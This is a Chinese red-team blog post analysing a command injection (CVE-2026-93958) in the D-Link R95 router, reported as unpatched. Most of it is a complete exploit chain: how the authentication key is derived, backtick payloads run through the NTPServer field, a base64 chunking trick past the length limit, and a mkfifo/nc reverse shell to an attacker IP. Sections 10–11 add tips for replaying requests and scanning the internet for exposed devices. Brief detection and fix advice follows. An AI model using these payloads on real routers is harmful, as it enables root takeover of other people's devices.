文章总结： 本文分析D-LinkR95路由器CVE-2026-93958认证后命令注入漏洞，CVSS9.1，利用代码已公开。漏洞源于ssi二进制对NTPServer字段过滤不严，拼接进shell命令以root执行。文章详述认证机制、完整利用链及修复建议，并指出同固件存在7个同类注入点。建议用户限制管理口暴露、修改弱口令并关注厂商补丁。
综合评分： 88
文章分类： 漏洞分析,红队,实战经验
(9.1分) CVE-2026-93958：D-Link R95 路由器命令注入
红队安全圈
红队安全圈
红队安全圈
2026年9月20日 20:00
重庆
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
D-Link 旗舰 Wi-Fi 7 路由器 R95 被挖出 CVSS 9.1 命令注入，利用代码已公开，注入成功直接拿 root——成因、认证机制、完整利用链一次拆透。
01 引言
D-Link 旗舰 Wi-Fi 7 路由器 R95（BE9500）的固件里被挖出一个认证后命令注入，编号 CVE-2026-93958，CVSS 9.1，利用代码已经公开。漏洞藏在 DHMAPI（SOAP over HTTPS）接口处理 SetTimeSettings 请求的 NTPServer 字段里——这个字段未做任何过滤就被拼进 shell 命令执行，注入成功直接拿 root。这篇把成因、认证机制、完整利用链和 EXP 全部拆给你看。
02 漏洞速览
漏洞编号CVE-2026-93958
影响产品D-Link R95（BE9500）
固件版本BE9500_1.00.16
漏洞类型OS 命令注入（CWE-77/78）
危害等级CVSS 9.1 严重
利用前提有效 web 管理会话
PoC 状态已公开（含完整 EXP）
影响面root 权限任意命令执行
03 漏洞成因
漏洞出在 web 管理后端二进制 /bin/ssi（以 root 运行），它实现了 DHMAPI SOAP 接口。
污染源：SetTimeSettings 处理函数（ssi 内偏移 0x6bd84）从 SOAP 请求中提取 NTPServer 字段存入栈缓冲区，长度上限 0x3f（63 字节）——注意这只是缓冲区大小限制，不是安全校验。值随后原样写入内部配置键 time.value.NTPServer，全程不过滤、不转义任何 shell 元字符。
污染汇：配置同步到 UCI 时，ssi 会把配置值拼接进 shell 命令字符串，通过 system() 类调用执行。二进制里能找到这样的格式串：
uci set %s=”%s” > /dev/null
值被包在双引号里，shell 在执行拼接命令前会对值里的反引号和 $() 做命令替换。ssi 以 root 跑，注入的命令自然也是 root 权限。
时间侧信道证实求值发生在请求处理路径内同步完成：注入 sleep 10 会让 HTTP 响应延迟约 10 秒。被污染的值还会持久化进 UCI（ntpclient.@ntpserver[0].hostname），之后被 /bin/start_ntpclient.sh 不加引号地消费（ntpclient -s -h $HOSTNAME），这是第二个加固缺口。
已验证的利用约束：
字段长度≤63 字节；60 过，80 拒（400）
& 字符不能出现（截断命令行）
注入语法反引号已验证；$() 同样有效
执行上下文uid=0(root) gid=0(root)
输出通道写 web 根目录再 HTTP GET 取回
04 认证机制（API-AUTH）
所有 DHMAPI 请求必须携带：Cookie: uid=会话cookie（登录获得）；API-AUTH 头为 HMAC-SHA256(privkey, ts+action) 的大写十六进制值加时间戳 ts；API-ACTION / SOAPAction 头与 SOAP 动作匹配，还需 User-Agent 和 Referer（缺 UA 或 Referer 返回 HTTP 400/500）。ts 是毫秒时间戳，设备不校验时效性，固定值可复用。
privkey 的推导流程分五步：
-
用静态密钥串 withoutloginkey 签名，发 Login / Action=request，拿回 Challenge、Cookie、PublicKey、SaltHash。
-
e = base64(PBKDF2-HMAC-SHA256(password, SaltHash, 5000, 32))；无 SaltHash 时直接用明文密码。
-
privkey = 大写HEX(HMAC-SHA256(key = PublicKey + e, msg = Challenge))。
-
LoginPassword = 大写HEX(HMAC-SHA256(key = privkey, msg = Challenge))。
-
用上面材料发 Login / Action=login，返回 success 后，后续请求用 Cookie 签 privkey。
05 利用步骤
第一步，登录请求拿 Challenge/Cookie/PublicKey/SaltHash（关键头如下，请求体为 SOAP Login XML）：
POST /DHMAPI/ HTTP/1.1
Host: 192.168.2.254:18443
API-ACTION: Login
API-AUTH: HMAC(withoutloginkey,
ts+”Login”)
SOAPAction: “Login”
第二步，正式登录建立会话，LoginPassword 按上面第 4 步计算，期望返回 success。
第三步，注入命令，把输出写到 web 根目录：
API-ACTION: SetTimeSettings
id > /www/m\_id.txt
第四步，取回命令输出：
GET /m_id.txt HTTP/1.1
Host: 192.168.2.254:18443
实测响应体：
uid=0(root) gid=0(root)
替代验证——时间盲注：NTPServer 填 sleep 10，HTTP 响应延迟约 10 秒；填正常 NTP 服务器名则立即返回。
完整利用——反弹 shell：63 字节限制可以用 base64 分片写脚本绕过：
- 反复发 SetTimeSettings，每次追加一片（包反引号）：
echo -n <分片> >> /tmp/x
- 解码：
base64 -d /tmp/x > /tmp/rs.rs
- 脚本内容（busybox ash 下管道两边必须留空格）：
rm -f /tmp/f; mkfifo /tmp/f
cat /tmp/f | sh -i |
nc 攻击机IP 4444 > /tmp/f
- 触发：
sh /tmp/rs.rs，攻击机监听即可收到交互式 root shell（~ #，BusyBox ash）。
06 PoC/EXP
公开仓库附了完整 EXP 脚本（Python，requests 实现），核心逻辑：login() 完成三步认证握手拿 privkey 和会话，inject() 把命令塞进 NTPServer 反引号里发出，run() 对 ≤54 字节的命令直接注入并从 web 根目录读回输出，更长的命令自动切 base64 分片写入 /tmp/x 再解码执行。用法：python r95_exp.py 进交互 root shell，python r95_exp.py “id” 跑单条命令。
07 根因小结
-
ssi 把 NTPServer 字段（以及同一处理函数里的兄弟字段）零过滤写入配置库。
-
配置同步用 system() 风格的 shell 字符串拼接，值包在双引号里，shell 会求值反引号和 $()。
-
ssi 以 root 运行，注入命令直接满权限执行。
同一代码模式在该固件里至少还有 7 个认证后注入点（TZLocation、DeviceName、DDNS 的 Hostname/Username、客户端 NickName，以及经 SetNetworkSettings 的二阶注入），全部实测 uid=0(root) 执行。
08 检测与排查
有 R95/BE9500 设备的，先确认固件版本是否为 1.00.16 / 1.01B06 系列；再查 UCI 配置里 ntpclient 的 hostname 有没有异常值，以及 web 根目录 /www/ 下有没有不明文件（EXP 会把命令输出落在这里）：
uci get ntpclient.@ntpserver
[0].hostname
ls /www/ | grep -v html
09 修复建议
-
主机名类输入字段入库前做强白名单校验（只放行 A-Za-z0-9.-）。
-
弃用 system() 字符串拼接，改用 libuci API（ssi 本来就链了这个库）或不经 shell 的 exec* 系调用。
-
/bin/start_ntpclient.sh 里给 $HOSTNAME 加引号。
-
web 管理服务降权运行。
-
审计并统一修复上面列出的兄弟注入点。
补丁方面，厂商目前还没有发布修复固件，建议尽快把设备的管理口收进内网、改掉弱口令，对外暴露的一律先断掉。
10 红队视角
这个洞的实战价值在三点。第一，认证后利用但不鸡肋——路由器弱口令和默认密码是现实网络里的常态，叠加设备认证逻辑里时间戳不校验、SaltHash 缺失时直接用明文密码这些宽松设计，打点成本很低。第二，输出通道教科书级：没有回显不可怕，写 web 根目录再 GET 就行，全双工交互。第三，一个注入点背后是一整类模式缺陷，同一固件 7 个兄弟注入点意味着即便厂商修了 NTPServer，也要盯紧后续版本有没有补全——挖这类设备时，找到一个 system() 拼接点就应该把所有 Set* 动作全枚举一遍。横向看，和之前一堆家用路由器 ssi/httpd 二进制里 config 值直接进 shell 的洞是同一个模子，固件分析时 grep uci set 加双引号格式串就能快速定位同类汇点。
11 实战技巧
-
固件分析阶段：binwalk 解包后直接 strings 找 uci set %s=”%s” 这类格式串，定位所有把用户输入拼进 shell 的汇点，比逆向每个 handler 快得多。
-
认证绕过优先级：遇到 API-AUTH/HMAC 签名类接口，先试文档里写死的静态密钥（本例 withoutloginkey），再测时间戳是否真的校验——很多厂商实现只验签名不验时效，重放窗口无限大。
-
63 字节限制别当死线：base64 分片写入 + 解码执行是嵌入式注入的通用绕法，busybox 环境记得 nc/mkfifo 组合弹 shell，管道两边留空格。
-
检测批量资产：nmap 扫 18443 端口（DHMAPI 监听口）可快速圈出暴露在公网的 R95 类设备。
12 POC 链接
https://github.com/FoundTL/D-Link-R95-BE9500
https://nvd.nist.gov/vuln/detail
/CVE-2026-93958
说明：PoC 来自公开漏洞研究仓库 FoundTL/D-Link-R95-BE9500，复现环境为实验室设备，命令均为 root 权限执行，请仅在授权环境测试。
如果文章对您有收获，欢迎关注、点赞、推荐、转发。
— END —
免责声明：
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。
任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。
本文转载自：红队安全圈 红队安全圈
红队安全圈《(9.1分) CVE-2026-93958：D-Link R95 路由器命令注入》